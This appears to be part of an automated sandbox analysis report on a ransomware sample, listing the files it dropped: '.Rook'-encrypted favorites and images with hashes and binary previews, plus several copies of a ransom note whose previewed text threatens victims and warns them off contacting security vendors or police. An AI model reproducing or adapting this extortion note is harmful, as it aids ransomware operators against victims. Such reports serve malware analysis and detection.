Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.842331896854656
Encrypted:	false
SSDEEP:	96:QuJfAMHcGpizXbXR3vOQ7Ko4/AAUn5U50+NS43LPuLjv:ZZHAbj2oiM5U50B43LPun
MD5:	B12A9AE89E320EF759048F1D3598D3E8
SHA1:	6B16FF47CEE1CE58A5449CE4B83F6DA0F074A29A
SHA-256:	7E02E20DEA1AC571F8C6C02B3F39E4F350586431D2C2E467B077EB3E35D560B5
SHA-512:	2FC89F897C6AF4EB6EEE637C1055967025201A8F4259253DCB915AD0DBFFCDD7CBE3C441FA6683C875E8E7C6EA85A660E3D837743D9E5F62DFA2E0BC221D8223
Malicious:	false
Preview:	8..Y2.G...:J..}CUNPWLIPSTKGXJJH.\|....2..z.o.GJNKLAQFLYRVIJCX...;SgH.N...~&..OFPUXUNJELZTWLSC....L.W[F...G...EBDBXTJOVUOJXAJYi..0.....).2irLLKJEEOPCASTYPHMC5..hE#kp....'iYULUACRKXOWBGJZIp.i.,.....B..VLDGGSFEIUJILBDVW._..094....H[O.EYCOULLKZCWMCRHTM!".......w{....WBEBYBIVIWOONLTP{..H5.F....._..]ALXTTAMSNCLYYGZF..9F.f...Z.q.n.EDMKNPRJNGLGUCIEKp.K..o.E=2...r..ZUTQMJOYVJRXYMXA..`.o.U...5....TYDTHAODYZHZCXKV4........\.I.~.XLRQAUCSMTNYWFMIjR.iA.......dD'GQWCINLCVUOJQWDB........O.Y....IVUSEYMOHMSBEVQJ..3.+5...3......GJXXWFMWUETTDXDG..Mp..>.X..(..zRXBVHRNMBLWUTKNBA..D>...^;.a...OYLRNYFEOQEYSVVJ".Y...>....O....DAYWFNMFUJJOVHNG..\|..6..)..L...IKLOLJVADGGUCRVF~.4c....\|.....KMLOAVJEDFLOCVQF.V....<.]..l..KBTGGQRJFISGOPPIV.......+.M-.9_SBSTYAHOEBQCZKPUGM....v....M..AMKEYIXMDRHNJVKSw....j..Z_..'.aPSNRHWMQQWQPYJJK........NYN,gx`KKTJSOYKCXCOSJQS..]...Q.C.w..9.UICHUHDTCRBUSPJLW...;....eDf...XGKKKGADJYISDOMZ.7I>..9...;OZ..iNMBGQFXPSONUPKDH.....L.......SCOZNIWFCCCOSZFN>nM^ZI..

C:\Users\user\Downloads\ZUYYDJDFVF.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.844891463748613
Encrypted:	false
SSDEEP:	96:Y3f2jFvNXYBHm7Ko4/AAUn5U50+NS43LPuLjv:YP2PIBHtoiM5U50B43LPun
MD5:	836FC254059280D0878898B8DC99CEC9
SHA1:	AFC1DB92AD8B5B55309CC6341A06E4EAA60AD582
SHA-256:	B55D3F3BA1B367520DE4A73C7A2D900144A57D3EBE4826F665B2876C673D680E
SHA-512:	2EDF24E0A876E5A38D9075951962010A49AA2B4DDFD6BCC35E43461BE059C02146AF4EBE6C9F3E0D3AAC83674938CF6709B4E8BFF9C882FD3B0F156C6E50FA59
Malicious:	false
Preview:	}<8....1.y......HHOQXTSNPBHYEJCG..c...u.v]..Z;. XFIJJCFHWLJBBRXP#.w....~:...l-.KGXPKCSIOJRJCOVG..@8D.;......H..HHZFMUPHPRIFMSBK..s.eCk...jI.(.KTIZUBENVCKWONAE".2buV.&.[.a.o.WHRSKEJQGLMLFOVZ37..F........NRPCFRMXETXWVNWKU.{....7...T+<..RPKNHHHPCBRHKGMA_..F..J..bKQHPHINYNDKJANQJM.o.......9N.9.(.JCAYSHYANULGFODY.g.V....P..)J.H.ZLWLFIJAJVRDKLPM]'98y...;.N...u.PGQYOOPFXNAPEUAO+.i`.X..~a..5...JJSMKMKLLVJGEXPD...~..0.@z=..).HDXCGDXDDDRPHFMG....<B..x.<<.;6.YZDVVDKDTUHIWYOXz9...>....nS..ZYOLJYMXKJBINMTA:M..59;n]..H9vZFPZEAAQCBOJUMGW{?6....NQ.z..#.NPHYCLFFMVQNVWRZ.k..H)......k..PWNGFFAXTNIPSIXU.!.......Y._Oa..INIWMMVVOLFCVETM...{.....3....<pKZBACESLDLZKGFPY....$.....ON.?.DVXDZIDWPYWGIVQJ$_-.."..tI...A.YYZEBWXZGOHXIBTI...9..4...3!"v-DHJUGEYGGJHUMVIYz..py...ST......IYSURLCGHWJYDTFJ..^..S..C.q.%.(.HELNDROMZYRVVGUD.T..3W.Q?....K.#MSNQTGPQCPSMWKUY........C~...sFLWZYBYCJBNYYIUS...\.8D.~..K..mHZQTCSUOROWJBLYK.o...]...Y.8.YGWTHBHUFFQSHCUNx.....+}.8nG...RGAFHTOABWPHIZIRT..w....

C:\Users\user\Favorites\Amazon.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.919406597285654
Encrypted:	false
SSDEEP:	48:GbyqVqIxCCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:G8IxX7Ko4/AAUn5U50+NS43LPuLjv
MD5:	B3669CEF0617C860CE05092A6DE7BE54
SHA1:	24C5BA27D1721F4C1FF3AE28BA148DB9D0D10E89
SHA-256:	FF1A1F332280631086A6D1CA2115156FE8F749C233B55814E352DCBD7105D40E
SHA-512:	6FAC5A1835BBE2A7274C9212132C7827BD491BC80BE30A4F4730C184A6933E5ED9A6E0CA986D02FF24B3859A461E8F48B2C08E58A4B32A06D7F4EA4F4172A791
Malicious:	false
Preview:	S.2.'"yw.6 d>..0000-C000-000000...j.&=~N.?<../19,2..[InternetS.P...8....;...t=..URL=http://ww......I..g.....o..........................p3..GM>{.....:.S.El.B....n...'....?........&.n.o".,z.G9..g.I...V#........4.o.........]7...a...5.-o=`.E[BQ......bJ.o...wc:5qV..>:^.]e..F..UR#M..1P\|....XH.G`.2a.r..._\|{'.......Mly...cfy.q&.....Z.Y.Fq...t.z.&'fs..>.B(..`z..`...Y.......W.v..Z5 ..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\Favorites\Bing.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2792
Entropy (8bit):	7.916375797659304
Encrypted:	false
SSDEEP:	48:wqzJBqeCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:wgK7Ko4/AAUn5U50+NS43LPuLjv
MD5:	C37B01721F3F445D6A0B46B4D38722E6
SHA1:	B9BC1A8653615AE33929750DC4B9BEC988A557B6
SHA-256:	2036A0A07E665D93AECBE7A5F9B45B128EC7178357C11E6B716D7F03F49D51C7
SHA-512:	AE8C20E5C40C4E0AC05A0AFEC9D73B09E0971BE6DDBF99379E402A78A4DD706DD48A9670C2E744EB8E287F00677487BDF6724E317FE3538005B351B648C6C592
Malicious:	false
Preview:	..1..#.Q .>(.w.0000-C000-000000.f...E...@.!..19,2..[InternetS.G...._.ua......=..URL=http://go..qQ...g;Yv.g.7.wlink/p/?LinkId=.....eF...P...x=0..IconFile=%P.V../".1.^....bernet Explorer\I.f...ek..{..d...........................K...?C...b.x.Q...g.....@.?.b.....'e^..;.i....#-n..A........X..2.<...$...a].y..Z.0....].t.J;.....3.....4V....[.N.2w.(<6....0.z.u>+tt...xR.......0..\|...8...=...q.d..M..l.Y$!s{..V.c...7...1,..q...<......."a9....0Z...................s...eq.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G.

C:\Users\user\Favorites\Facebook.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2712
Entropy (8bit):	7.902676377432541
Encrypted:	false
SSDEEP:	48:jtYcvCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:jU7Ko4/AAUn5U50+NS43LPuLjv
MD5:	416AFA332377FD9339CC254C43B8337C
SHA1:	7FC6BA15463AB4E59073C37F20F30E35912BDA16
SHA-256:	E15F91E36ECC2111693D374BB16EEE9FD53FE23DDB99AFD2DED4370D5714D0DB
SHA-512:	21B0684408D47253EF5493728F679290F5A9E0D1DCE6FB50B1F46E9A20515D6CEA836C34744E2CBED8FF3AF4753E4088B0054F91E7D6151B7E95C10D6A19881C
Malicious:	false
Preview:	...T.}X:.u.jT..0000-C000-000000..gB......Z.p.R19,2..[InternetS.y:) AK....V.^)q=..URL=http://wwyVN.V.......................q.........................._.P.........1...k......5 .54..Z....o...UW.........^.."..B"?p...z%n../X.l..e......../.3..O^G...GCp...z..s[.p......'.(...@....^.(..UJ.O.^..bb...8.....T8Uf@"7c... 44..M.[.n<!.../..P.l.$U..!..2.^...O......?..- ....&......[.y......T....UG...~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v

C:\Users\user\Favorites\Google.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.917013309010284
Encrypted:	false
SSDEEP:	48:M0eCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:M87Ko4/AAUn5U50+NS43LPuLjv
MD5:	B651DE24E10F6ECB15D5B4760AC81FB7
SHA1:	BBE7C4E2ECED680DB98A8E3F1CFABF911CD596AD
SHA-256:	8A9895E5F812D3D86C411AE1520E138F851F7F80A6C1E6A106761E3EAB660BDD
SHA-512:	C9F20FDF58D363CAB2BBB178AF3B1B36C8FB3E9E7C11F19DBD0B9B338E8AD53BEE8801B870C8A791DE557A7D3F9190F8E25BBAE6DE196863DE1E32D64EB07BB1
Malicious:	false
Preview:	+.}.f.v..Q...~.p0000-C000-000000.=}3{...m7d..{?19,2..[InternetS....}..+.....D.=..URL=http://ww........b....o.......................~#...I1Go...T..6..R..&....d.{....S..C..J.J...Vc...0..k..b...k..o.-A..h..\|r.....^H<...R..E.N...p...S..FA...:.5.Ck.qS.\|.`u.s..../.2..QE....I.S.].1...ZN.....0......].Y..z......jO.b...'=......{...?.u{.R.....h.4..j.C.P:}.L.).R.@.. w.H......a..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\Favorites\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Favorites\Links\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Favorites\Live.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.914214929512526
Encrypted:	false
SSDEEP:	48:LLlth0CxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:9th57Ko4/AAUn5U50+NS43LPuLjv
MD5:	655FB2AE9A331E26815AC316145C81C3
SHA1:	1F508930CF815C92671AAB08A827558DB00FF59B
SHA-256:	F6A2602F14685027573F3342759B49DFEB4EF6477A31ABAA9238C35CBC72298C
SHA-512:	41E6CEDC5AA7795B0FC5ACEDA012BB12A2F1A184989DC83C2B07258F73C85D18B26ACCB978ACE7DB43FCF5DD9F39FEF569E8EEF792844D59E9E93277EB959F74
Malicious:	false
Preview:	.~....B....K&...0000-C000-000000.c...%0.. ....19,2..[InternetSv{.y....4......?=..URL=http://wwV.c[..U....9,;..m..........................W...<......Z.9a..P!.T...o.5.r.....Z.U.[P.....8b.+...=t=..+#......`.......4o>`X.U....u.Ta.g...@2Q.....U.r.@..Ot..'.R.;3...!\|7W.9..Ls....R......H=@x..I.m\.......r....N...g.FI!..BE.7JgU..b"../..&..0ow.RB@..F.a/...]#...O...NV....ZF..U^....5..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\Favorites\NYTimes.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.912471321165209
Encrypted:	false
SSDEEP:	48:/qH+qKCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:Gf7Ko4/AAUn5U50+NS43LPuLjv
MD5:	0C7C4FA1289F78BE6A3E7987E8220853
SHA1:	43D939CE2D03F8402AC337692A670B8050975F64
SHA-256:	5EAF87CEEE1F1997A66352905A711FBEA839C01054855BFA405B3C0EA2AF115F
SHA-512:	3A58A1A1960CD6FFC273476DC253FA090262C48B5708791FE36D9DBBC94B9FCCFBB259E3B7EDCB9AE0BA63428217666D66C16B6D07347A45EDF57CABCD122159
Malicious:	false
Preview:	w(....c.U0...C..0000-C000-000000..4..aU...../..G19,2..[InternetS...$..}......V.d=..URL=http://wwT5Xbr.jI.a...p.........................0...Ta....(0.......a.k...T=OB,....c..a..R\|......@..iZ..K&.....^/.BJ..x...8.r...}!......Nf.eK...s...L\|.t...l..Zb..........o.l....R...."v+ra.L4j.$~U...V?....%G..5.J6...(.0.w..AW.QG..gz...pI....F.9Z\|...}I.6...,]..v.C.-.Y.sX..]n..vt....P..m..C3..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\Favorites\Reddit.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.91288920796033
Encrypted:	false
SSDEEP:	48:maTfh/T7GbOCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:maF/0D7Ko4/AAUn5U50+NS43LPuLjv
MD5:	A77CADC1A957733EEDC513917F7CBD3A
SHA1:	8F5B36231BD3D696847727BDBA5ACA4BE9932502
SHA-256:	81C18E03DD2620C0B1C871F3CFD63AA7AA2ABC40AF7E9661B139AF74E34FEDFE
SHA-512:	6B369D99DB49BB3474A98282A891A1CAEF20469453E8FD8393F3694BFCF29541358B6D1423BA0ADBB4B5EB0B65E3A6AA558F2797227507B0FF78281B44A81DB7
Malicious:	false
Preview:	.v..Oe.L.....%0000-C000-000000....A...a.0H19,2..[InternetS..P.H.y....x....=..URL=http://ww.j9...{:.:.n1.z o.......................o..5?H?..-4...9(.B..+c.......Z......e....9...G...:..Y..,7...Z.2(7:..0.."P.B.>..^..F\.B...mHb^i}e~.z..R.W..A&.0~^...s..V....:.{.Y..2t..B)M"..k.d^Mbl..7\....A,n.9.5$.....T.........=.H"...p.1.\&.........{.;..?!....}..a.3,yp.`,..p...m1./....._.k..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\Favorites\Twitter.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.919207750608959
Encrypted:	false
SSDEEP:	48:jV60NfyaECxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:jVjaaJ7Ko4/AAUn5U50+NS43LPuLjv
MD5:	F0FA3BF587B3128ACA807783E71C17D8
SHA1:	A5A855F25D89E705BCE9AC19EB8646EB23001445
SHA-256:	A2E35A6C9175756ACA033EF59950186C3E1DD066572890DBC6E37B7C5D5F3617
SHA-512:	9C86F50FA1CB75D463B2FED9E69807DC34A10FB1082A11176213183F37BAF192F991F8261C383ED13EBA681A04BF2E849ED2F730AB9F05FEBA471B904D341BB6
Malicious:	false
Preview:	....{.......?g.0000-C000-000000.g.l.uc.......v19,2..[InternetSb..cO.-P/.D\|.ED=..URL=http://ww.b..=1..$0w.....p...............................A;......@L.pX.f....uO.x.........s>V...{>....}.4..]I.....yW...G.v...I..0..vb.6...........<.......U.....as{."..._.R.....1.H.....W...WS...YM..W8..).5.I...5..A..c.wn..Z.U3KemV.?.j.#...#.J..P%.I...P........P.....EX.....8..1...f....:..k.`...p..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\Favorites\Wikipedia.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2712
Entropy (8bit):	7.906561375916606
Encrypted:	false
SSDEEP:	48:5FufyHCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:Dufy+7Ko4/AAUn5U50+NS43LPuLjv
MD5:	8A862F709D7BAF358DA0F555D93F9C88
SHA1:	4EEEC65545B4B80780560171E551BF948FFDE1C2
SHA-256:	6DA42DB412E13E10DCCC21909392829A7F85D90B9036CCE05A5BAC809B1C5862
SHA-512:	DF009170E706CEF5094B11E477CED534ABC6A3BDB64C085B07E9024ECD10A0300511866C44091A1D2B4D99C948C06C266EB0A49F8FA6F6C6274ED4C437348D49
Malicious:	false
Preview:	lq.D9..0..p.\|'..0000-C000-00000077.-.r....@..+..19,2..[InternetS...s=+.....A].U.=..URL=http://ww./......E'%r..G................r.......................QR..T.%......_..z.Q..i9..Qp.U(..P.Z...a0By......8...X.......&.....WQ..{....`P~79.........@.q-wM.BJ,s...9s..Q..i.EmQ$ ^.f.%..`..p...7...i.U..%Sz..^.K....J,..V...)...e.z...iX....~W\xL.s36..\|.o(K../HOp..Ge..?..B)...y/=.b....j..xH.......w...2.....~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v

C:\Users\user\Favorites\Youtube.url.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.920372161230236
Encrypted:	false
SSDEEP:	48:7HtgvHCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:7NgG7Ko4/AAUn5U50+NS43LPuLjv
MD5:	2CC22B876C0A36F9FA6B0E30AA877919
SHA1:	C06FBD2E025FE6B009D32217F51105FFB0C2B4B4
SHA-256:	95F9C389842B141AE2E02249C5C923E9ADE2250C755E474AC5843C416A15B48D
SHA-512:	29AFD378FE5CE7CB67868BBAA841F2FF4339E0EADF6FE20E118474B9EB0547A102755C139CAA110F533D8BA547E6916548C71B340CAB8938BBBA76BDD8128DE9
Malicious:	false
Preview:	.ugB..4.q...).p0000-C000-000000.R2>......rV....19,2..[InternetS.K..@...".Q...w=..URL=http://wwE.~L.:..tt..$..p...........................K_8A.b...a.B_.......n>...S]R.-..<..o.P.+........!..._:bI...;.._.7U}.09...G.f\|..s.{....M.X..ckhAT`....Q+.F..~.7...6..o:.':.[Z....is.(Y4.......-.z..........A....'..........\e.7..r...cf.$G.......+.9....._E1f....Ek.=....W............c.A...~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Links\Desktop.lnk.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
